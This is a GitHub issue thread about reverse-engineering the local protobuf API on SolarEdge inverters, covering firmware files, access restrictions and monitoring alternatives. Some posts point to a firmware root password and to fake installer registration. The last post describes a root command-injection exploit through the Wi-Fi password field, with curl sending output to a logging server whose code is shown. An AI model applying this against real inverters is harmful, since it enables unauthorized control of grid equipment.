Local API with Protocol Buffers
Opened this issue · 113 comments
I recently had a SE10000H-US installed and noticed when I visit the IP address of the inverter it has a status page with some high level information (although no specifics about each optimizer). I see its using an unsecured API by doing a GET on http://<inverter_ip>/web/v1/status, with the response in protocol buffers.
I would be interested in reverse engineering this response so I could monitor the status in realtime without setting up the additional hardware involved in the ethernet passive approach. Has anyone done this?
I parsed the response using protoc --decode_raw and have a pretty good idea of what the structure of the data looks like, but am unclear how its actually converted to the proper number. For example it seems likely that 0x481b4600 corresponds to 159 kWh. I have no experience with protocal buffers, so I may be missing something obvious, but am not seeing how to get 159 or 159,000 from what I assume is the hex representation of 481b4600
I apologize if this is out of scope for this particular package, but thought some people here might be interested. I can post more details and examples if people are interested.
Ok just realized its a floating point number! This calculator can do the conversion.
Is there any interest in me posting samples or .proto files for working with this API?
That's quite interesting! Would you mind sharing your firmware version numbers?
I'm interested in this. Just got my SE10000H online yesterday. Need to wait two weeks for meter swap out though before it's producing power. I've got the inverter mirrored to another switch port, and an rPi that just does a file a day of tcpdump.
If the inverters are changing their encryption keys a few times a day, being able to get all the same data your way would be much simpler!
I don't see anywhere that explicitly says firmware version, but I'm assuming this is that you're looking for?
I have probably 80% of the API response mapped which includes
- Kwh today
- Kwh this month
- Kwh this year
- Total lifetime kwh
- Current power from production meter
- Total kwh from production meter
- Current power
- Voltage
- Frequency
- number of optimizers communicating
Yes, that's what I was referring to, thanks! I think that's the first time I see a CPU version number starting with 4. Would be interesting to find out whether it offers more API functions than the one you discovered. More specifically, whether it would offer one that provides optimizer status! If we could get our hands on a recent firmware image we might be able to do some string search on it to find out?
Just clicking around in chrome with Dev tools on, I see several different API endpoints being used, but the only optimizer specific information I see displayed in browser is the number online.
I was looking at responses at night when it wasn't producing, so I'll try it again during the day in case the information is just in the API.
The weirdest thing about this dashboard is it's totally unauthenticated and appears to allow you to change any setting you want on the inverter, including grid protection, etc. I haven't tried changing any setting since I don't know what I'm doing. I wonder if the installer enabled it by mistake?
I believe that's by design. My installer used a connection this way to do all the setup and provisioning of the inverter. My versions match yours exactly. Fingers crossed this provides more data than the existing public api.
SolarEdge was promoting this capability recently for installers https://marketing.solaredge.com/acton/rif/8801/s-144b-1902/-/l-0045:1133/l-0045/showPreparedMessage?sid=TV2:cfByisFlu.
If this interface can provide information about individual optimizers it is very interesting because the lack of that capability was the original motivation for this project. Hopefully it does and can be available on older inverters with a firmware upgrade.
Unfortunately I'm not seeing any details about optimizes (under then number communicating vs paired). Reading through the installer instructions, it has them pair via phone app, then go to the monitoring tool to setup the rest of the optimizer details. That makes me think the local API might not have these details implemented.
On the plus side, I realized that if you leave the dev console open, it actually logs out the parsed API responses as you're browsing the dashboard, so it should be very easy to use the APIs. I'll try to publish details of the APIs over the weekend.
I've been digging into this and am pulling out a lot of details. I'll post specifics soon.
I've found some optimizer specific information via the maintenance API
- Module
- Last Telemetry
- Output Voltage
- Input Voltage
- Input Current
Is that useful? I was hoping to see watts / power or something similar.
That's very good. Optimizers don't directly report power, but the watts can be calculated by multiplying the input voltage by the input current. The only other thing that would be useful would be the optimizer temperature.
Oh great! It does have the temperature in the API actually.
I'm not sure where you want this information posted, so I created my own repo. Happy to merge into your project if you prefer. https://github.com/drobtravels/solaredge-local
I went ahead and mapped what looked to me the most interesting data here
Great job @drobtravels ! Thanks for sharing and for your effort. I made a pull request on your parallel repository with some addition on which inverters (US and European) are supported.
Just FYI, here's the information I'm getting back per optimizer
optimizer {
serialNumber: "xxxx"
online: true
lastReport {
year: 2019
month: 3
day: 11
hour: 10
minute: 20
second: 29
}
outputV: 23
inputV: 31
inputC: 8
temperature {
value: 34
}
}
Any idea when this might be available? I can pull the data off with your example command but not get it into a csv or such to put into a database nor homeassistant. Very cool to get all the optimizer data on a local api though!
I have it working on Home Assistant with a custom component. I'll hopefully be able to submit a PR this weekend.
I don't plan to develop anything which outputs to CSV, as that would require keeping a service running to constantly call the API and store the results. I'm happy to offer guidance if you'ld like to develop that though. You can also leverage the python library.
Awesome! Looking forward to the PR so I can implement it locally until it's merged. I had hoped there was an easy way to convert the protoc output to csv so I could keep the data stored apart from HA, but if it gets into HA than its easy to pull out of HA. Thanks!
@AndyRPH There is no issue converting to CSV, but I assume you're looking for historical data in that case? The local API only gives you a snapshot of the current state. Typically CSVs contain lines of data by minute, hour, day, etc. To get historical data you'll need something to poll the API and constantly collect data.
Yeah I just wanted to log it somewhere that was more robust than my rpi running home assistant. The maintenance page seems to include a time stamp in the data. I had hoped there was an easy way to convert the protocol buffer message output with the message definitions as the first row then all the data below, each query to the api being a row, since the "column" numbers should not change unless I change optimizer quantities. At the moment I just threw together a cronjob and bash script that outputs it to a unique log file every 15min. I can always just figure out a regex and clean the file up later on. It looks similar to but not quite json. I didn't see any good documentation on the --decode options for the protoc command line tool.
If it gets reliably into HA I'll just replicate that section of the database to another device to maintain it all.
Gotcha. Do you know any python? It should be relatively simple to write a python script using the library I made to create that.
Nah, not a coder by trade but picked up enough knowledge to tinker, as my day job had me learn a relatively language for their hospital software.
Once your stuff is available I'll probably give python a good faith try since I'm better if I can reverse something working as a template to learning.
This API doesn't appear to be available for the LCD-based SE-10000H-US. I opened a ticket with SolarEdge and they pushed out the latest firmware on the same day but I'm not seeing a web interface or any major changes in behavior.
CPU Version: 3.2468.0 (updated per the request)
DSP 1 Version: 1.0.751
I may have lost access to the data using semonitor though. All messages are now coming through with Decryption key not yet available.
I think the web interface is only on the non-LCD models. SE marketing failed to rename the models based on this key design change, so it makes it fun with threads like this. ;)
I can personally confirm the same lack of web functionality on LCD Models SE6000H-USRGM AND SE3000H-USRGM. No access to the interface and refused message when attempting to connect.
@jshank
Indeed any inverter with display doesn't support these APIs (at least not as of today).
Model number is the same (with and without SetApp) but part number is different (see datasheet): SExxxxH-XXXXBXX4
The 4 in the 'cpu version' stands for the new software gen. The LCD only versions use '3' as it's software gen 3, as we see 'portia 3' throughout the codebases and firmwares. The gen 4 is called 'Portia-NG' as in net generation. These guys really need to work on naming and versioning, as the platform is really incomparable. I do wonder how the inside looks like, if they only changed the 'control' PCB. Also I wonder if this solution is cheaper then the LCD (more expensive development for the higher-level software).
Initially, when searching for firmware files for the version 3, I stumbled upon the software for the version 4 and was very pleasantly surprised that it was running Linux (our version 3's are not). As such, I started to take it apart and analyze it.
Sadly, I stumble upon this thread after you spend some painful amount to RE it. The protobuf protocol, and endpoints are available in the firmware quite visibly in python (well pyc, but that was easily resolved). :)
Once I realized however that this firmware was not four our devices, but only for the non-LCD ones, I was sad in that I could not run Linux on my inverter and kinda gave up on the project.
What was peculiar, is that they must have been working on this for a while, as they where using an extremely outdated and slow ARM chip ...
However, all the RE data is still there, with most of my findings.
https://gitlab.com/centraluniverse/portia-ng_analysis
P.S. If someone can point me to a new firmware, ideally in chronological order, I don't mind extracting the firmware and adding it to the repo, to nicely track the changes between versions.
Btw, I think I'm pretty sure I extracted the firmware image from the android apk, as it's part of the apk image. If I can find an easy way to download older versions (in between) I should be able to get historical data. This assumes that the app gets updated in sync with the inverter software, which is not unreasonable to think, as the app is intended for installers.
Edit: This is where I found someone analyzing the App: https://gitlab.com/sehacker/inverter_configuration_tool/tree/setapp
The current SetApp apk (v2.3.0) for Android does not contain any inverter firmware (the apk file is way to small for this anyway). Comparing the proto files from solaredge-local (apparently based on 4.4.67 or later) with the protobuf descriptors in 4.0.58 (from the Portia NG analysis by @oliv3r) shows that SolarEdge did not change essential parts. This may not be true in the future. We will need to find some other way to get to the protocol buffer message descriptors so that we can keep up with SolarEdge developments.
If it's anything like the iOS app, you have to login to Setapp with an installer account and then it pulls new firmwares from their server. I just updated mine yesterday.
Is there any evidence that updating firmware leaves files on the mobile device that can be recovered? (If so, this will probably be easier on Android than on iOS)
The fact that it downloaded firmware to my phone before I connected it to my inverter means that it probably is there before. Maybe not after. I'm not sure how to get a look at what the iOS app may have downloaded since it's not jailbroken. Nor do I have an android device.
I've been looking at the code as well; and the URL is reasonably easy, the problem it's behind a login, e.g. you need an authentication token. I didn't spend time yet to see if a) your username needs some special level and b) making it it work :)
As for the file, it is guaranteed to be left on the device, for the simple reason, your inverter can't pull it itself (or you wouldn't use setapp) and thus the app first downloads it, and then uploads it to the device.
So after figuring out the rather simple curl command with the authentication token; it should be easy to get new firmware versions automatically downloaded.
That said, I've extracted the firmware from all 'old' versions (thank apkmirror) and will update the repo with the information where needed :)
Please be advised that access via the local interface no longer works in firmware 4.6.24 as SolarEdge has restricted access to 172.16.0/24 IP addresses (the IP network used by the built-in WiFi access point for SetApp).
Yikes!
How do firmware upgrades work? Are they automatic or require you to manually upgrade?
Please be advised that access via the local interface no longer works in firmware 4.6.24 as SolarEdge has restricted access to 172.16.0/24 IP addresses (the IP network used by the built-in WiFi access point for SetApp).
I have two inverters, both running 4.6.24. The SE1500M is still accessible via the LAN http interface, but the SE1000M is not, it only gives {"message": "Internal Server Error"} as an output. Apparently not all devices shut down their LAN web interface.
@drobtravels
From what I know they are not updated automatically.
The settapp application with an installers account is needed for an upgrade. When the setappp application connects to the inverter it is done automatically. So you can not even chose if you want to update.
So if you want to keep the local interface do not let any installer come near your inverter.
Note: The software can also be updated via an USB port.
Note: The software can also be updated via an USB port.
But has anyone been able to get their hands on the firmware file yet?
@victorclaessen can you browse to their IP address in a web browser? Curious if they closed it totally or just adjusted the protocol such that the python module isn't fully compatible anymore.
Sorry if that was unclear. On both devices the http port is open and a webserver is active on the LAN interface. On the SE1500M I get the 'Commissioning' page from that LAN webserver, the same as you'd get using the SetApp. On the SE1000M I get the aforementioned error. (But that error IS coming over http transport; it's what the webserver reports)
Please be advised that access via the local interface no longer works in firmware 4.6.24 as SolarEdge has restricted access to 172.16.0/24 IP addresses (the IP network used by the built-in WiFi access point for SetApp).
I have two inverters, both running 4.6.24. The SE1500M is still accessible via the LAN http interface, but the SE1000M is not, it only gives
{"message": "Internal Server Error"}as an output. Apparently not all devices shut down their LAN web interface.
I have a SE15k I get the {"message": "Internal Server Error"} after upgrade to 4.6.24 firmware
I have tried to investigate how to get the firmware file. I have found in the source, that it's a trivial http rest call, but it's authentication protected. I'm not web guy, so not super familiar here.
I have installed the android sdk + emulator and installed setapp into an emulator, that works great, however I could not log in with my credentials from the monitoring portal (but i'm not an installer, so there's that).
I tried to create an installer account, but it always fails with 'general error' in a popup and that's that.
What I wanted to do, was intercept the traffic using mitm-proxy and see what calls they are doing for authentication. It should be possible to figure this out from the code alone, but thought that doing it via the app was going to be easier, if not give me some more insight.
Long story short, I haven't figured out the authentication bit yet :) but my guess is, it's a standard authentication header that could be supplied to curl.
If this sounds easy to anybody reading this, hit me up so we can figure this out :) I'll try to find the URL again tonight (have it at home) and replace this part with the example URL of the update file.
I do not own a SetApp enabled inverter, but love what this project is doing and wanted to add this should it help. Below is a method to get the files on non-jail-broken/non-rooted devices. You'll need an installer account as others have stated. I haven't tested the methods below, but can't see why this wouldn't work as both methods backup the user/private data which should include the FW images. I've used similar methods for other files in the past, so it should work in theory.
iOS - Non Jailbroken Device:
- Login to installer account. Let files update. Close app.
- Perform manual backup using iTunes. Make sure "Encrypt Local Backup" is checked as some protected files will not backup without this. It may not be needed, but just in case. Set a password.
- Using an iTunes Backup Extractor (Google for this, many options - some free, some not) and extract the files from the encrypted iTunes backup. A free option which allows up to 4 files to be downloaded is this . Use Expert Mode and navigate the Applications folder for the setapp data.
For Android - Non Rooted Device
- Login to installer account. Let files update. Close app.
- Perform backup via adb (i.e.
adb backup -apk -shared -all -f <filepath>/backup.ab) - Extract files using any adb backup extractor such as this. Howto instructions here. (i.e.
java -jar abe-all.jar unpack backup.ab backup.tar your_unlock_password_unqouted)
using the backup is not a bad trick :) Im' sure you did/try this, can you verify/confirm that the update file still has the spff file extension? The files should be named 'Version_4_4_67.spff' for example for firmware version 4.4.67.
The url that probably contains the list of available files should live here: https://api.solaredge.com/solaredge-apigw/api/agileIntegration/spffFiles.json but I haven't figured out the http authentication mechanism. I doubt they use the password as the http-auth token, but who knows. I'll dig more into the source code to figure out how the app is doing it.
After further digging, it seems that a CSRF-TOKEN is set as a cookie as part of the http request. okhttp3's Cookie.java is being used for this end. I'm not yet sure how they are setting the value, and how the cookie is initialized (i'm new to CSRF tokens and their implementation); but it seems like you open a http session, you get the initial csrf token data, you use this token with the credentials to request the protected content. I've done something remotly similar once to write a script to keep my sat smart-card up to date; if curl can do this, it should be possible somehow.
Best tool to explore a firmware file once you have one? Nevermind, I'm in over my head, who wants the file? ;)
The best tool to view the firmware file is Ida pro
Hey @Whizkidzz
In this case, no, it's useless. What IDA pro IS usefull for, is to look at core_app,
I tried it with retdec back then, but that didn't produce anything useful. I think core_app is similar to what we have on the atmel in portia-3 (LCD variant)
What is core_app? I analyzed the firmware last year already, but nobody cared back then :)
https://gitlab.com/centraluniverse/portia-ng_analysis
The interesting bits are (if still valid) are the root password and such :)
I am in the process in writing a script to generate these datapoints from the spff file automatically (shouldn't be to hard). But first, I need to figure out how to automatically download the files (and old files while at it).
sniffing the setapp tool gives us a lot of information, going over the java code gave me a lot as well. I just need an installer account and some web guy that knows about CTRF-TOKENS and session cookies and such :) Progress is there, just slow.
P.S. can you answer me at some point about Whizkidzz/Solaredge#3 :)
Best tool to explore a firmware file once you have one? Nevermind, I'm in over my head, who wants the file? ;)
I do want the file of course :) I only have the ones I was able to extract from the APK atm.
Are the files from your apk extraction any different than: (i didn't list them all, since i don't have the other inverter models.
-rwxr-xr-x 1 me staff 128K Sep 20 2019 EVSE_2_1_12.spff
-rwxr-xr-x 1 me staff 640K Sep 20 2019 JupiterMngr_1_13_1541.spff
-rwxr-xr-x 1 me staff 331B Sep 20 2019 SE10K-RWHDCBNN4.ECO-17569.SW-PN-01068.spff
-rwxr-xr-x 1 me staff 24M Sep 20 2019 Version_4_6_27_88490.spff
-rwxr-xr-x 1 me staff 24M Sep 20 2019 Version_4_7_17_89106.spff
Yeah, the only interesting bits are the Version_4_* files. I haven't figured out what the other SPFF files are for, but don't really 'care' either :) I think this is configuration data or similar. It's not directly relevant. The Version_4* files contain everything that gets flashed. Interesting that they changed the file-naming slightly, they added some SVN sequence number. Nice to know :)
It may be though that the DPS spff's are in binary form here too, but haven't looked at that yet.
Also worth nothing that version 4.7 isn't out yet.... at least not per their website.
Found a dropbox url in the Dutch Tweakers website:
https://gathering.tweakers.net/forum/view_message/60013242
I'm not going to post the link here because that may cause some trouble? So just referring to the post.
And yes it is indeed the firmware file
using the backup is not a bad trick :) Im' sure you did/try this, can you verify/confirm that the update file still has the spff file extension? The files should be named 'Version_4_4_67.spff' for example for firmware version 4.4.67.
The url that probably contains the list of available files should live here: https://api.solaredge.com/solaredge-apigw/api/agileIntegration/spffFiles.json but I haven't figured out the http authentication mechanism. I doubt they use the password as the http-auth token, but who knows. I'll dig more into the source code to figure out how the app is doing it.
yep, spff files are present. Same format. And exact same file names @AndyRPH posted above including svn suffix
Are the files from your apk extraction any different than: (i didn't list them all, since i don't have the other inverter models.
-rwxr-xr-x 1 me staff 128K Sep 20 2019 EVSE_2_1_12.spff
-rwxr-xr-x 1 me staff 640K Sep 20 2019 JupiterMngr_1_13_1541.spff
-rwxr-xr-x 1 me staff 331B Sep 20 2019 SE10K-RWHDCBNN4.ECO-17569.SW-PN-01068.spff
-rwxr-xr-x 1 me staff 24M Sep 20 2019 Version_4_6_27_88490.spff
-rwxr-xr-x 1 me staff 24M Sep 20 2019 Version_4_7_17_89106.spff
They are indeed identical. File names are identical and are a subset of the total number files downloaded by Android. If this above is from iOS or even Android for that matter, there are hundreds of non-spff files too. The app seems to download all FW and config data irrespective of model owned.
The app also seems to scrub older versions on update, so grab early and often.
FYI - This is where the android apk downloads its spff and config files. You'll need root to get to this. /data/data/com.solaredge.apps.activator/files/setapp/
I can understand why Solaredge wanted to remove the lan access, as it was totally unsecured. However it would make more sense to leave it and just require a login which all customers should have... has anyone just asked them about what they're doing here?
has anybody tried ssh into the device with the password I mentioned in my repo? :) It may not work for newer firmwares, but I haven't analyzed it yet. Also it could be that the default password gets overwritten.
That may also be the reason they disabled LAN.
Of course, as a user, this would piss me off, my device, I decide what to do with it. Also, what if I don't want to use wifi? I'm sure there must be a way to enable LAN if it is connected. What if it is the only way to report the stats to the backend reliably?
Where is this mentioned?
Oliv3r, I'm running 4.5.41 and it isn't even listening on 22, just 80/8080/8508. At least as far as ports <10000.
I haven't dissasembled any of the newer firmwares yet, so they may have disabled SSH. I'll do this retroactivily for all firmware versions once I have my script setup.
Also, it may be possible to re-enable it through some webconfig debug setting. Downgrading may be an option :)
By default the SSH-server listens on the loopback address (127.0.0.1) only. This can be customized (override by special configuration SPFF file from SE?). No change between 4.0.58 and 4.7.17.
I haven't looked into the other spff files yet, can you share some more details here @kingfisher63?
Spff files appear to be digitally signed, so forget about crafting something like modified firmware (SolarEdge staff know what they are doing!). Version_X_Y_Z.spff Portia firmware files are cpio archives with 256 bytes of signature data added at the end (which causes 7-Zip to emit a warning about data after the end of the payload data). I haven't looked into the other spff files in detail: as SolarEdge has decided to close the door to the local API via the LAN interface, I have decided to go RS485 for local monitoring (either Modbus or the RS485 Active mode in this project).
@kingfisher63
actually no (but yes), Version_X_Y_Z.spff are 'swupdate' archives, which are, indeed just concatenated signed CPIO archives.
While yes, the files are signed, it's a feature supported by swupdate. "Know what they are doing" .. I dunno, looking at the firmware itself, it's very slopply done. Read me readme to see what I mean. Also, using a pretty much deprecated atmel board/chip is also a bit ... meh. In 2016, when development of this may have started, there where cheaper and better arm based solutions available.
But it was the other spff files that I am more curious about. Do they post-configure the device and what's the information that's in it?
Some more digging reveals the structure of the other (small, per model) spff files: 4-byte data length, protobuf encoded data, 256-byte signature. The data looks like configuration parameters to me (using 'protoc --decode_raw' on the data (strip the length and signature parts from the file)). Hard to tell what it all actually means.
That's interesting, since we can decode the data on the device, we should be able to make meaning of this rather quickly.
To summarize however, they just send this is 'raw data' to the device. E.g. it's protobuf data that gets send.
If you want to know with what I mean in that we have the code on the device, I am talking about something like: https://gitlab.com/centraluniverse/portia-ng_analysis/blob/master/ubifs-root/usr/lib/python3.4/site-packages/spff/spff_handler.py
Which then also explains why the firmware updates for the DSP's are spff files ... They pack it in a protobuf message.
The spff files that I have seen so far all have the following structure:
- 4-byte protobuf message length
- protobuf message
- payload data (may be zero length)
- 256-byte signature
For firmware files the payload data length is in protobuf message field 4.5. The firmware payload itself is not part of the protobuf message. Surprisingly 7-Zip does not complain about the protobuf message data before the cpio payload data in Portia firmware spff files.
The small per model activation spff files do not have a payload. The protobuf message in these files does not have a field 4.5.
Now back on topic (accessing the local API). There appears to be no need to upload an iptables configuration during commissioning (which I thought before). There is a default configuration in 4.7.17 that says:
- accept all on the loopback interface (need for internal SSH)
- accept TCP port 80/8080 on the WiFi AP
- drop TCP port 80/8080 on all other interfaces
This is consistent with the observed behavior.
Keeping this indeed on-topic; these firewall rules are not strange. Both interfaces can be used for outgoing communications to connect to the monitoring platform; the WiFi AP accepts data from setapp.
Now, if the monitoring platform is of no concern, it should be possible to run the AP constantly and use the local api that way?
That should work as long as you keep the WiFi AP busy (it is turned off after 5 minutes of inactivity). For prolonged WiFi AP use, you probably want to have a closer look at security.
From the 4.6.24 release notes: Added the ability to connect the inverter's Wi-Fi station to SetApp and wireless router simultaneously. So you should be able to access the local API via the WiFi AP while the inverter is sending data to the SolarEdge monitoring platform via WiFi.
Just FYI,
I'm running firmware 4.7.19 and local APIs are working perfectly.
For the people that can't reach it anymore, are you sure to set up correctly the Communication tab -> Server ?
Alright folks, I took the plunge and updated my firmware to 4.7.19 as well, the LAN access still works just fine to pull the data with solaredge_local.
Hi @AndyRPH / @dragoshenron, can you please tell me where I can download firmware
4.7.19 (or send it with PM perhaps)? I only see 4.6.24 on the Solaredge site, the same version that is running on my inverter. My newly installed PV system has a 3-phase SE4K model (SetApp version).
Would like to get my data in Home Assistant via the local API instead of the web monitor. Thanks!
I'd recommend you check the manual. Probably need the set app app, and an installer account to do a firmware upgrade on your own. Ive not heard of any success or failure with the 3-phase model, so no guarantees. It's also possible that 4.6.24 accidentally or not took the LAN api away and 4.7.19 brought it back, but no way to tell at the moment until they publish release notes on 4.7.19. The setapp app just updates you to the latest version. Apparently that's newer than their website touts.
I just updated the SE1000M from 4.6.24 to 4.7.19, and now I've lost the web interface altogether. Browsers can't connect anymore, nmap shows port 80 as filtered.
I'm reluctant to try on my SE1500M for fear of losing that one, too.
On the good side, fortunately modbus-tcp still works.
Can you confirm the LAN config is still right via setapp? Is it still communicating via LAN to solaredge last monitoring portal?
Yes, I can confirm that the LAN config is still allright. I can ping it, and I can see the filtered ports with nmap (as previously indicated above). It's reporting to the cloud normally, and I can read out the data locally via modbus-tcp.
My SE4000H was installed today with firmware version 4.7.19. No access to port 80/8080 from the LAN as expected.
My SE4000H was installed today with firmware version 4.7.19. No access to port 80/8080 from the LAN as expected.
I wonder why i cannot find 4.7.19 firmware on solaredge website
My inverter updated automatically to 4.7.26 today (i was running 4.6.xx before).
Lost local network access.
As I see it, there are 2 options:
- maintain AP interface on, keep a crawler connect to it and request data
- use the data from the monitoring portal. before using solaredge-local, I was getting inverter data via the official API (5 minute data vs 15s I was getting from local API), and optimizer data via unofficial API (I have a python script that is authenticating like the mobile app, then gets the optimizer data from the website "playback" page). The optimizer data is not truncated to int values, but it's 15m i think (vs 5m) and missing panel temperature.
Thoughts?
It all depends on the reasons you collect the data. Do you actually need 15s data?
If so, then keep using the python script. I suppose that this script is like a web scraping program.
I've used to use the same idea (use a script to login on the website) but after a while the authentication failed due to a captcha. Did you ever encounter that problem?
Could you share your script?
Enjoy
@dragoshenron
I had issues with my previous inverter, which was just replaced, so having inverter status data (PRODUCTION, ERROR, ...) is important to me - even at 5m intervals, it's too slow.
Thanks to a previous poster, I tested modbus TCP - I could connect with a python script and read inverter data:
inverter (101):
A: 18.55
AphA: 18.55
PPVphAB: 251.7
W: 4672
Hz: 49.942
VA: 4677
VAr: 199.42
PF: 99.9
WH: 69446
DCA: 10.921
DCV: 434.3
DCW: 4743
TmpSnk: 55.27
St: 4
StVnd: 0
EvtVnd1: 0
EvtVnd4: 0
This should be a good compromise: instant (as low as 1s) inverter data + 15min optimizer data from the monitoring website.
I'll clean up my scripts and publish them in the next weeks :)
@mihailescu2m
Did you get the chance to clean up your script? :)
I'm running a project and I need the 15min optimizer data from the website. Unfortunately, I wasn;t able to make a python script to scrape the SE portal.
Any help is appreciated!
@dragoshenron create an empty file solaredge.cookies then run this: https://gist.github.com/mihailescu2m/27d5dd22656a4d64a0c755da99b7b162
Changing Grid Protection settings actually requires a password, in the manual it says "contact Solaredge for password". Anyone knows what the password is?
To those that have lost access to the SetApp local interface...
So I called SolarEdge support because near as I can tell no one that has had this problem has actually called SolarEdge. The first guy seemed very familiar with what I was asking and immediately said that interface was blocked to prevent non-installers from changing settings. That's what I was expecting. Because I had another change I wanted them to make he forwarded me to someone else in tech support. Just to be thorough I asked that guy the same question and he seemed familiar with the interface but wasn't aware of them intentionally blocking it and said it should still be accessible. He pinged a tier 2 guy and they apparently said the same. He was going to poke around and email me if he had any more information.
Sooo... Clear as mud :)
Last year I dissected several firmware images (up to 4.8.19, later versions use encryption). A key finding was that the blocking is 100% intentional. It is a security feature, not a problem.
Has anyone figured out what determines if the API is blocked or not?
I just noticed that at some point I was upgraded to CPU Version 4.8.28. Local API is still working through!
What model inverter do you have? I suspect the reason people on here are having different experiences is because SE has different firmware images per model/region and they aren’t all in parity with this restriction. I have a 10kw HD-Wave US model.
Interestingly, I just looked at the release notes for the current April release and the first listed bug fix is the following:
“SetApp error 400 - unable to use SetApp / URL”
Hmmm
I just manually upgraded to 4.8.28 and still don't have access.
This might be common knowledge but it wasn't for me. But you can follow this process to get an installer account so you can get full access to your inverter via the SetApp smart phone app. Not as convenient as local LAN access, but this is how I manually updated my firmware.
- Go here and fill out the registration. I used a different email than my main consumer dashboard login as I assume that would conflict. You can just make up any company information, nothing seems to be verified. You'll likely need to leave out your inverter information as it's already associated with a site.
Installer Registration
-Download the SetApp installer app from your app store.
-Log in using the email you registered in step one.
-You can then scan the QR code and connect to your inverter with full access. The app by default will upgrade your unit to the latest firmware, takes about 15 minutes.
I suspect the reason people on here are having different experiences is because SE has different firmware images per model/region and they aren’t all in parity with this restriction.
To the best of my knowledge the CPU component in SolarEdge 4.x firmware is identical across inverter models and geographies. Adaptation to local legal and power grid requirements is done with settings that are applied during commissioning.
Until 4.4.67 access to port 80/8080 was unrestricted (clearly a security risk). Starting with 4.6.24 access is restricted (see this comment for how this works in 4.7.17). The access restriction is not applied when the inverter is in debug mode. It is still a mystery to me why some inverters are running in debug mode (most likely unintentionally) whereas the vast majority is not.
I just manually upgraded to 4.8.28 and still don't have access.
The access restriction is by design, not a bug.
@kingfisher63
in the firmwares you have looked at, was the Grid Protection password hardcoded in there by any chance?
Thanks @kingfisher63. Do you know how debug mode is enabled? Would it be problematic to run in that mode continually?
If security was one of their reasons for locking this down they still have a lot of work to do. Anyone with a smartphone can walk up to any of these inverters, scan a QR code and get full installer access in seconds.
in the firmwares you have looked at, was the Grid Protection password hardcoded in there by any chance?
I have not looked into that, but probably not. This document says "Contact SolarEdge Support to obtain this password". I doubt that it is the same for all units.
Do you know how debug mode is enabled?
As far as I know this is done with a special (digitally signed, tamper proof) spff file, so you cannot do this yourself. You may want to try and ask a friendly SolarEdge field engineer.
Would it be problematic to run in that mode continually?
Probably not. Every inverter with firmware 4.6.24 or later that permits access, must be running in debug mode. I have not yet read any reports about adverse effects.
Personally I would abandon the idea of monitoring an inverter using solaredge-local. SolarEdge has designed the interface for internal use (SetApp) with no public documentation. Therefore it will be subject to potentially breaking changes without notice.
A while back I actually put a support ticket into Solaredge about this. They told me they did not block access to the data on the LAN port, had no plans to block it, but also had no plans to assist customers accessing or decoding it, but it was acceptable for us to navigate to its webpage on our LAN to view the data.
Since my inverter hadn't blocked me the ticket ended there.
Has someone who "lost" access to the web interface via LAN opened a support ticket and been officially told it was intentionally blocked?
Has someone who "lost" access to the web interface via LAN opened a support ticket and been officially told it was intentionally blocked?
See my post above, I called in a week or so ago and got 2 different answers. 1 guy said it was being intentionally blocked to prevent non-installers from messing with settings. The other guy said it should still be accessible. So I don't know what their official stance is.
Personally I would abandon the idea of monitoring an inverter using solaredge-local.
I agree, which is why months ago when I lost access I just switched to using their official API. I don't have time to babysit this thing every firmware release to bob and weave around whatever changes they decide to make. It would still be nice to have access for the odd occasion I want more detailed information, but it's not the end of the world. At least now I know how to use the installer's SetApp mobile phone app to get into the inverter if I really had to (see my post above).
Too bad because @drobtravels has put a lot of effort into decoding this interface and the protobuf messages.
I agree, which is why months ago when I lost access I just switched to using their official API. I don't have time to babysit this thing every firmware release to bob and weave around whatever changes they decide to make. It would still be nice to have access for the odd occasion I want more detailed information, but it's not the end of the world.
I am getting the same level of detail from other APIs - inverter details every 5s now (via modbus), and optimizers every 5m (via solaredge web portal). So you don't need to lose any detailed information.
It's too bad SolarEdge doesn't have an API that lets you access the optimizer data from their server. The last time I checked the only way to get it was by going to the web page and manually exporting data for each optimizer. Not practical with 34 optimizers. I haven't gone there for years, so maybe they have improved it. My inverters haven't connected to the SE server in over 3 years so I haven't gotten any firmware updates, so nothing has prevented me from getting the data. They keep producing power day after day so I'm not motivated to change anything.
Mine have 'never' connected to the server :) I did ask SE for firmware updates ages ago and have kept those; also https://www.solaredge.com/service/firmware can be used to download them as well. But I'll admit I have not yet updated mine in 3 years either. 'effort' and all that
I just noticed that at some point I was upgraded to CPU Version 4.8.28. Local API is still working through!
And now I can no longer access the API
Same problem here. This afternoon no access by local api. What i noticed in the feedback from HA is that the max retries exceeded. Is there a limit on the amount of information you can request to the solar edge?
edit 27-04:
Today i got a mail saying that it should be done over port 443 or 22221 or 22222
I just scanned my SE7K and this is the result:
80/tcp filtered http
3528/tcp filtered jboss-iiop
4320/tcp filtered fdt-rcatp
8080/tcp filtered http-proxy
15150/tcp filtered unknown
16555/tcp filtered unknown
20504/tcp filtered unknown
21971/tcp filtered unknown
34514/tcp filtered unknown
39673/tcp filtered unknown
43964/tcp filtered unknown
49040/tcp filtered unknown
57789/tcp filtered unknown
63244/tcp filtered unknown
So it seems they've firewalled everything :(
ALL INSTRUCTIONS BELOW ARE EXECUTED AT YOUR OWN RISK
I am running firmware 4.8.19, but it should also work on 4.8.28
Hello,
It is currently possible to open port 80 and port 8080 on the SolarEdge, this only works due to a code execution exploit that is currently in the SolarEdge's firmware.
It is important that you block the SolarEdge from netwerk access, if you don't, the ports 80 and 8080 will be blocked again next firmware update.
When you read through the SolarEdge's patchnotes, you will see the following:
Can’t connect to Wi-Fi routers with password containing the following special characters: Dollar - $, back tick - `, quote - ", or forward slash - \
Workaround: Change Wi-Fi router password to exclude these 4 characters
This means that we can execute shell scripts on the device, and it just so happens to give us full root access.
We can't get any outpur for the commands we execute, but there is a work around for that.
Using a small webserver, we can log all post requests to a console, and the SolarEdge has curl installed, so we can execute scripts, and post their commands to our webserver.
This is the webserver's code:
#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
#logging.info(" %s",post_data.decode('utf-8'))
print("%s"%(post_data.decode('utf-8')))
self._set_response()
self.wfile.write("".encode('utf-8'))
def log_message(self, format, *args):
pass
